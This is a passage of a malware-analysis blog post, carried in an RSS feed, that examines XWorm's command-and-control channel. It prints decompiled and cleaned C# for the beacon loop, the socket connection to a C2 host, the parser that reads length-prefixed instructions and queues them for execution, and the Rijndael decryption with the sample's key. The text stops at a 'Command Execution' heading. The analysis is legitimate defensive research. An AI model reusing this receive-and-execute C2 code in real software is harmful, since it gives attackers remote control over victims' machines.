<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Threat Anatomy</title><link>https://www.threatanatomy.com/</link><description>Malware analysis, offensive security, and notes from my own learning journey.</description><generator>Hugo</generator><language>en</language><lastBuildDate>Fri, 02 May 2025 12:08:00 -0500</lastBuildDate><atom:link href="https://www.threatanatomy.com/series/xworm/index.xml" rel="self" type="application/rss+xml"/><item><title>012 - Decoding XWorm: Command and Control</title><link>https://www.threatanatomy.com/p/012-xworm-7/</link><pubDate>Fri, 02 May 2025 12:08:00 -0500</pubDate><guid>https://www.threatanatomy.com/p/012-xworm-7/</guid><description>In this article, the last in the XWorm series, we analyze its Command and Control capabilities.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>Throughout this series, we have examined and analyzed various XWorm capabilities:</p>
<ol>
<li>How XWorm is obfuscated, and part of its content encrypted.</li>
<li>How XWorm detects whether it is running in a virtualized environment or being analyzed.</li>
<li>How XWorm evades being inspected by Windows Defender and ensures its persistent presence on its victim&rsquo;s system.</li>
<li>How XWorm uses USB devices to infect new victims.</li>
<li>How XWorm intercepts cryptocurrency transactions to steal them.</li>
<li>How XWorm uses steganography to obtain new versions of itself.</li>
</ol>
<p>In this article, we will conclude our analysis of XWorm by exploring its Command and Control capabilities.</p>
<h2 id="analysis-of-communication-with-the-c2-server">
  Analysis of Communication with the C2 Server<a class="heading-anchor" href="#analysis-of-communication-with-the-c2-server" aria-label="Link to this section">#</a></h2>
<p>We begin the analysis by reviewing the code of the function <em>akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ</em>, which runs continuously and invokes the function <em>BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD</em> every 3–10 seconds:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kd">private</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">akmI2V6A24xXwzijq1Apr6qc8vIECvYw7wuhn35sTaltgYEwhJpRu6tPvkdv2PZ0dBnVrJ</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(;;)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="k">new</span> <span class="n">Random</span><span class="p">().</span><span class="n">Next</span><span class="p">(</span><span class="m">3000</span><span class="p">,</span> <span class="m">10000</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">BksWN8usZHEPYjXOepUuPed506P8l7490zXstDClo3w3ocS9R4MKGnmKsDsVV4Gzbxo8CD</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<p>The function&rsquo;s code appears complex due to obfuscation; however, we can observe references to network configurations (Socket, receiveBufferSize, sendBufferSize, ProtocolType.Tcp, Connect, etc.):</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Socket</span><span class="p">(</span><span class="n">AddressFamily</span><span class="p">.</span><span class="n">InterNetwork</span><span class="p">,</span> <span class="n">SocketType</span><span class="p">.</span><span class="n">Stream</span><span class="p">,</span> <span class="n">ProtocolType</span><span class="p">.</span><span class="n">Tcp</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">veYDgekcw0bU4jdnY5J8alsB4HT00HWcgPPZj69QgPj61tNLG4BgAEXSJQT6xfAcMu6F9y</span> <span class="p">=</span> <span class="p">-</span><span class="m">1L</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">vlofGR2jYYtgBo8ZJYQkrMJ7mCXyaeAUOvhz8Fj4oLsKfA6Z9Bjbu8w4L1oawDMPeG17oJ</span> <span class="p">=</span> <span class="k">new</span> <span class="n">MemoryStream</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p</span><span class="p">.</span><span class="n">ReceiveBufferSize</span> <span class="p">=</span> <span class="m">51200</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p</span><span class="p">.</span><span class="n">SendBufferSize</span> <span class="p">=</span> <span class="m">51200</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p</span><span class="p">.</span><span class="n">Connect</span><span class="p">(</span><span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="n">qsurotxVBQWuN1wXL7Sl3R7UMOoGherwjkt90</span><span class="p">,</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToInteger</span><span class="p">(</span><span class="n">Dwre7AimAttsSDe9ONtyGoMXtbA3NNJR6lGec</span><span class="p">.</span><span class="n">vaPrr1IV8frcD45YWkTGWcPr8LuQlXihBUinL</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">OkuWBmMkpuiVIW6eyvaKWy4CDDKrSTSQwnG6q8u9hJWeul4YEsKDRLLkQu3LmoAhGA89NA</span> <span class="p">=</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">j4FT1dlaJqQ3jblx3hdeFi6bjwXmQkMdBN8Pj3PmpcYjLDlRuFIRjW11zgFa91XkoXOwiA</span> <span class="p">=</span> <span class="n">RuntimeHelpers</span><span class="p">.</span><span class="n">GetObjectValue</span><span class="p">(</span><span class="k">new</span> <span class="kt">object</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">oRkru4kYIVUPRva4enZYKUiXdip6AWo5GOCIlJY4K6mvXmarmBevCDWutpso4tvV9TT5Ir</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">TvaCJXe9EYrimDi3sObeVd7NzQvx0fopFC38oM8zJpcyL1AYAFXAeSiuXHgr2BXkNMnCHQ</span><span class="p">()));</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">HBvAGFZ8fvwhgICOTQcn9JB9Yo5psn9P1Wnq7QEHGdYPZUICh4C5RDDzf3gKRnfxxnwL7p</span><span class="p">.</span><span class="n">BeginReceive</span><span class="p">(</span><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">p2zuNHWJloJe50wCMpwwp6Fyf8wHuGYk7ut2iuVLH8ECLXc5F86SI3DEjOPjJyAlFA7c9F</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="n">SocketFlags</span><span class="p">.</span><span class="n">None</span><span class="p">,</span> <span class="k">new</span> <span class="n">AsyncCallback</span><span class="p">(</span><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">o9x1mOeWpPy464ka6PK9zEVXVQ91kurk2fzW8Rr3WmGK2z2GmM1eU4MTUoPB9EVeoGziI0</span><span class="p">),</span> <span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">TimerCallback</span> <span class="n">timerCallback</span> <span class="p">=</span> <span class="k">new</span> <span class="n">TimerCallback</span><span class="p">(</span><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">lJC5FDMJRtcFIDSwjsw3CFlq3tIYZOUWMMB5b2xIAYivpM6VTJZGbzHVHiRvzCLIsmnI4m</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="m">0</span><span class="n">HJ9LLYFefKRZe2DzCwRqQL9gU9oEJctIftgXj6N0WJLaTPuGEpArkul6DxpI3L2bcD2QV</span><span class="p">.</span><span class="n">RxLzJ8KpdWFhOHJ6LWJyvCEVqQ6FRPlJrmYVdFdutMN9WYYz7sB6jpLjMeXkK6aO5KvTTC</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Timer</span><span class="p">(</span><span class="n">timerCallback</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="k">new</span> <span class="n">Random</span><span class="p">().</span><span class="n">Next</span><span class="p">(</span><span class="m">10000</span><span class="p">,</span> <span class="m">15000</span><span class="p">),</span> <span class="k">new</span> <span class="n">Random</span><span class="p">().</span><span class="n">Next</span><span class="p">(</span><span class="m">10000</span><span class="p">,</span> <span class="m">15000</span><span class="p">));</span></span></span></code></pre></div>
</div>
<p>After cleaning up the code a bit, we get the following:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">vSocket</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Socket</span><span class="p">(</span><span class="n">AddressFamily</span><span class="p">.</span><span class="n">InterNetwork</span><span class="p">,</span> <span class="n">SocketType</span><span class="p">.</span><span class="n">Stream</span><span class="p">,</span> <span class="n">ProtocolType</span><span class="p">.</span><span class="n">Tcp</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span> <span class="p">=</span> <span class="k">new</span> <span class="n">MemoryStream</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">.</span><span class="n">ReceiveBufferSize</span> <span class="p">=</span> <span class="m">51200</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">.</span><span class="n">SendBufferSize</span> <span class="p">=</span> <span class="m">51200</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">.</span><span class="n">Connect</span><span class="p">(</span><span class="n">class2</span><span class="p">.</span><span class="n">host</span><span class="p">,</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToInteger</span><span class="p">(</span><span class="n">class2</span><span class="p">.</span><span class="n">port</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">.</span><span class="n">BeginReceive</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="n">SocketFlags</span><span class="p">.</span><span class="n">None</span><span class="p">,</span> <span class="k">new</span> <span class="n">AsyncCallback</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vCallBack</span><span class="p">),</span> <span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">TimerCallback</span> <span class="n">timerCallback</span> <span class="p">=</span> <span class="k">new</span> <span class="n">TimerCallback</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vState</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">class</span><span class="p">.</span><span class="n">vTimer</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Timer</span><span class="p">(</span><span class="n">timerCallback</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="k">new</span> <span class="n">Random</span><span class="p">().</span><span class="n">Next</span><span class="p">(</span><span class="m">10000</span><span class="p">,</span> <span class="m">15000</span><span class="p">),</span> <span class="k">new</span> <span class="n">Random</span><span class="p">().</span><span class="n">Next</span><span class="p">(</span><span class="m">10000</span><span class="p">,</span> <span class="m">15000</span><span class="p">));</span></span></span></code></pre></div>
</div>
<p>We see that XWorm establishes a connection to a host and port, which come from the values decrypted when the malware started; then, it begins receiving traffic sent by the server and stores it in a buffer (<em>vBuffer</em>). Once it finishes receiving traffic, it proceeds to call a function (<em>vCallBack</em>).</p>
<p>Additionally, we see that a timer is created which calls the <em>timerCallback</em> function every 10–15 seconds.</p>
<p>The invoked function, <em>vCallBack</em>, uses its own logic to interpret any message received from the server:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="kd">public</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">vCallBack</span><span class="p">(</span><span class="n">IAsyncResult</span> <span class="n">vReceivedTraffic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">num</span> <span class="p">=</span> <span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">.</span><span class="n">EndReceive</span><span class="p">(</span><span class="n">vReceivedTraffic</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">num</span> <span class="p">&gt;</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vControl</span> <span class="p">==</span> <span class="p">-</span><span class="m">1L</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span><span class="p">[</span><span class="m">0</span><span class="p">]</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vControl</span> <span class="p">=</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToLong</span><span class="p">(</span><span class="n">class2</span><span class="p">.</span><span class="n">GetString</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span><span class="p">.</span><span class="n">ToArray</span><span class="p">()));</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span><span class="p">.</span><span class="n">Dispose</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span> <span class="p">=</span> <span class="k">new</span> <span class="n">MemoryStream</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">				<span class="k">if</span> <span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vControl</span> <span class="p">==</span> <span class="m">0L</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="n">class</span><span class="p">.</span><span class="n">vControl</span> <span class="p">=</span> <span class="p">-</span><span class="m">1L</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">.</span><span class="n">BeginReceive</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="n">SocketFlags</span><span class="p">.</span><span class="n">None</span><span class="p">,</span> <span class="k">new</span> <span class="n">AsyncCallback</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vCallBack</span><span class="p">),</span> <span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">					<span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[(</span><span class="kt">int</span><span class="p">)(</span><span class="n">class</span><span class="p">.</span><span class="n">vControl</span> <span class="p">-</span> <span class="m">1L</span><span class="p">)</span> <span class="p">+</span> <span class="m">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">else</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span><span class="p">.</span><span class="n">WriteByte</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span><span class="p">[</span><span class="m">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span><span class="p">.</span><span class="n">Write</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">num</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span><span class="p">.</span><span class="n">Length</span> <span class="p">==</span> <span class="n">class</span><span class="p">.</span><span class="n">vControl</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">ThreadPool</span><span class="p">.</span><span class="n">QueueUserWorkItem</span><span class="p">(</span><span class="k">new</span> <span class="n">WaitCallback</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vFuncToExecute</span><span class="p">),</span> <span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span><span class="p">.</span><span class="n">ToArray</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vControl</span> <span class="p">=</span> <span class="p">-</span><span class="m">1L</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span><span class="p">.</span><span class="n">Dispose</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span> <span class="p">=</span> <span class="k">new</span> <span class="n">MemoryStream</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">else</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[(</span><span class="kt">int</span><span class="p">)(</span><span class="n">class</span><span class="p">.</span><span class="n">vControl</span> <span class="p">-</span> <span class="n">class</span><span class="p">.</span><span class="n">vMemoryStream</span><span class="p">.</span><span class="n">Length</span> <span class="p">-</span> <span class="m">1L</span><span class="p">)</span> <span class="p">+</span> <span class="m">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">.</span><span class="n">BeginReceive</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">class</span><span class="p">.</span><span class="n">vBuffer</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="n">SocketFlags</span><span class="p">.</span><span class="n">None</span><span class="p">,</span> <span class="k">new</span> <span class="n">AsyncCallback</span><span class="p">(</span><span class="n">class</span><span class="p">.</span><span class="n">vCallBack</span><span class="p">),</span> <span class="n">class</span><span class="p">.</span><span class="n">vSocket</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<p>The <em>vCallBack</em> function handles incoming data from the C2 server. XWorm expects the server to send instructions in three parts:</p>
<ol>
<li>A string representing the payload size (e.g. &ldquo;20&rdquo;),</li>
<li>A separator byte (\x00),</li>
<li>The actual payload (the instructions).</li>
</ol>
<p>We can go through the code step by step to see how XWorm handles this protocol:</p>
<ol>
<li>
<p><strong>Read incoming data:</strong>
The function starts by calling <em>EndReceive</em>, which tells us how many bytes were received. If nothing was received (<code>num &lt;= 0</code>), the function exits.</p>
</li>
<li>
<p><strong>Initial state – waiting for payload size:</strong>
If the control variable <em>vControl</em> is -1 (its initial value), we’re still assembling the payload size from the bytes received.</p>
</li>
</ol>
<ul>
<li>
<p><strong>Case A:</strong> Separator received (<code>vBuffer[0] == 0</code>)
This means the size string is complete. The accumulated data in vMemoryStream is converted into a number, which is saved into vControl.</p>
<p>If the converted number is 0, we ignore it (probably a keep-alive or malformed request) and reset everything to listen again. Otherwise, we prepare a buffer sized exactly to receive the actual payload.</p>
</li>
<li>
<p><strong>Case B:</strong> Still receiving size string (<code>vBuffer[0] != 0</code>)
This means we&rsquo;re still in the process of building the payload size string, byte by byte. The current byte is appended to the MemoryStream, and we wait for more data.</p>
</li>
</ul>
<ol start="3">
<li><strong>Payload reception phase (vControl != -1):</strong>
At this point, we know how much data to expect. All received bytes are written to the MemoryStream.</li>
</ol>
<ul>
<li>If the total number of bytes received matches vControl, we’ve successfully assembled a full payload.</li>
<li>That payload is now passed to vFuncToExecute using a thread from the thread pool.</li>
<li>After execution is queued, the state is reset to prepare for the next instruction.</li>
</ul>
<ol start="4">
<li><strong>Continue receiving:</strong>
After handling any chunk of data, the function calls BeginReceive again, so it can handle the next piece of data when it arrives.</li>
</ol>
<h2 id="decrypting-the-payload">
  Decrypting the Payload<a class="heading-anchor" href="#decrypting-the-payload" aria-label="Link to this section">#</a></h2>
<p>The C2 server sends the payload encrypted, which is then decrypted using the Rijndael algorithm:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="kd">public</span> <span class="kd">static</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">bYp2DT0qddN2</span><span class="p">(</span><span class="kt">byte</span><span class="p">[]</span> <span class="n">vReceivedPayload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="n">RijndaelManaged</span> <span class="n">rijndaelManaged</span> <span class="p">=</span> <span class="k">new</span> <span class="n">RijndaelManaged</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="n">MD5CryptoServiceProvider</span> <span class="n">md5CryptoServiceProvider</span> <span class="p">=</span> <span class="k">new</span> <span class="n">MD5CryptoServiceProvider</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="kt">byte</span><span class="p">[]</span> <span class="n">array</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">try</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="n">rijndaelManaged</span><span class="p">.</span><span class="n">Key</span> <span class="p">=</span> <span class="n">md5CryptoServiceProvider</span><span class="p">.</span><span class="n">ComputeHash</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="n">class2</span><span class="p">.</span><span class="n">key</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">		<span class="n">rijndaelManaged</span><span class="p">.</span><span class="n">Mode</span> <span class="p">=</span> <span class="n">CipherMode</span><span class="p">.</span><span class="n">ECB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="n">ICryptoTransform</span> <span class="n">cryptoTransform</span> <span class="p">=</span> <span class="n">rijndaelManaged</span><span class="p">.</span><span class="n">CreateDecryptor</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="n">array</span> <span class="p">=</span> <span class="n">cryptoTransform</span><span class="p">.</span><span class="n">TransformFinalBlock</span><span class="p">(</span><span class="n">vReceivedPayload</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">vReceivedPayload</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">array</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<p>In the analyzed sample, the key is <code>&lt;123456789&gt;</code>.</p>
<h2 id="command-execution">
  Command Execution<a class="heading-anchor" href="#command-execution" aria-label="Link to this section">#</a></h2>
